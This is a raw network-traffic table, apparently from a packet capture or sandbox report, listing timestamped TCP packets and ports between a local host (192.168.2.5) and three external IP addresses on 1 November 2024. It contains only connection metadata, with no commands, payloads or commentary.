Nov 1, 2024 05:53:10.040141106 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040153027 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040163994 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040175915 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040186882 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040189028 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040215015 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040225983 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040399075 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040410042 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040420055 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040433884 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040443897 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040450096 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040462017 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040472984 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040473938 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040501118 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040509939 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040767908 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040780067 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040792942 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040818930 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040843964 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040910959 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040923119 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040934086 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040956020 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040980101 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.040983915 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.040992975 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041002989 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041013956 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041018963 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.041024923 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041035891 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041038990 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.041049004 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041069031 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.041089058 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.041470051 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041518927 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.041529894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041542053 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041577101 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.041651011 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041663885 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.041695118 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.042356014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.042399883 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.042401075 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.042411089 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.042438030 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.042448044 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.056884050 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.056895018 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.056905985 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.056921005 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.056931973 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.056957960 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.056998014 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057005882 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057018042 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057028055 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057039976 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057050943 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057050943 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057063103 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057073116 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057106018 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057159901 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057198048 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057204962 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057213068 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057233095 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057256937 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057348013 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057360888 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057372093 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057396889 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057425022 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057512999 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057528973 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057542086 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057564974 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057594061 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057760000 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057822943 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057830095 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057835102 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057868004 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057892084 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.057972908 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057986021 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.057996035 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058008909 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058027029 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058104038 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058199883 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058211088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058222055 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058233023 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058248997 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058262110 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058427095 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058439016 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058449030 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058460951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058473110 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058480978 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058485031 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058506012 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058532953 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058727980 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058738947 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058748960 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058778048 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058789015 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058856010 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058867931 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058877945 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.058912992 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.058931112 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059050083 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059061050 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059071064 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059082985 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059093952 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059098005 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059107065 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059125900 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059144020 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059303999 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059322119 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059335947 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059345961 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059355974 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059356928 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059370041 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059382915 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059411049 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059510946 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059551954 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059556007 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059561968 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059597015 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059715033 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059727907 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059763908 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059768915 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059779882 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059791088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059818983 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059829950 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059896946 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059907913 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059917927 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.059948921 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.059976101 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.060219049 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.060230017 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.060240030 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.060266018 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.060291052 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.061132908 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061180115 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061181068 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.061193943 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061228037 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061230898 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.061278105 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.061635017 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061651945 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061664104 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061682940 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.061695099 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.061758041 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061769009 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.061810970 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.062583923 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062625885 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.062629938 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062671900 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.062690020 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062701941 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062736988 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.062798977 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062809944 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062820911 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062849998 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.062860966 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.062927961 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062939882 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062951088 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.062975883 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.063000917 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.063060999 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063071966 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063108921 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.063117981 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063129902 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063141108 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063153028 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063163042 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063165903 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.063188076 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.063203096 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.063375950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063388109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.063426018 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.075033903 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.075045109 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.075057030 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.075067997 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.075078964 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.075090885 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.075102091 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.075110912 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.075150967 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.076786041 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.076797962 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.076812029 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.076823950 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.076833963 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.076845884 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.076855898 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.076859951 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.076884031 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.076917887 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.110594034 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110608101 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110619068 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110690117 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.110716105 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110728025 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110739946 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110759020 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.110790968 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.110861063 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110873938 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110917091 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.110968113 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110980034 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.110991001 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111002922 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111012936 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111021996 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111037970 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111053944 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111129999 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111179113 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111485958 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111534119 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111541033 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111552000 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111588001 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111687899 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111701012 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111711979 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111735106 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111749887 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111809969 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111856937 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111867905 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111879110 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111890078 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111901045 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.111912966 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.111938953 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.112099886 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.112111092 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.112128973 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.112140894 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.112152100 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.112153053 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.112160921 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.112194061 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115051985 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115108967 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115132093 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115144014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115184069 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115194082 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115206003 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115242958 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115267038 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115308046 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115475893 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115533113 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115556002 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115566969 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115614891 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115638971 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115650892 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115663052 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115684986 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115699053 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115729094 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115741014 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115751982 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115780115 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115806103 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115892887 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115905046 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115914106 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:10.115942001 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:10.115967035 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:12.472399950 CET	49943	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:12.472975016 CET	49980	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:12.477706909 CET	80	49980	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:12.477768898 CET	49980	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:12.477931976 CET	80	49943	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:12.477962017 CET	49980	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:12.477972984 CET	49943	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:12.482742071 CET	80	49980	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:13.387279034 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:13.387319088 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:13.387399912 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:13.388729095 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:13.388745070 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:13.406539917 CET	80	49980	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:13.406626940 CET	49980	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:13.408200979 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:13.408461094 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:13.413311005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:13.413446903 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:13.413502932 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:13.413518906 CET	80	49950	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:13.413569927 CET	49950	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:13.418509960 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.007265091 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.007463932 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.011370897 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.011390924 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.011573076 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.054373980 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.054397106 CET	49986	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:14.054444075 CET	443	49986	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:14.318572044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:14.318591118 CET	80	49987	185.215.113.16	192.168.2.5
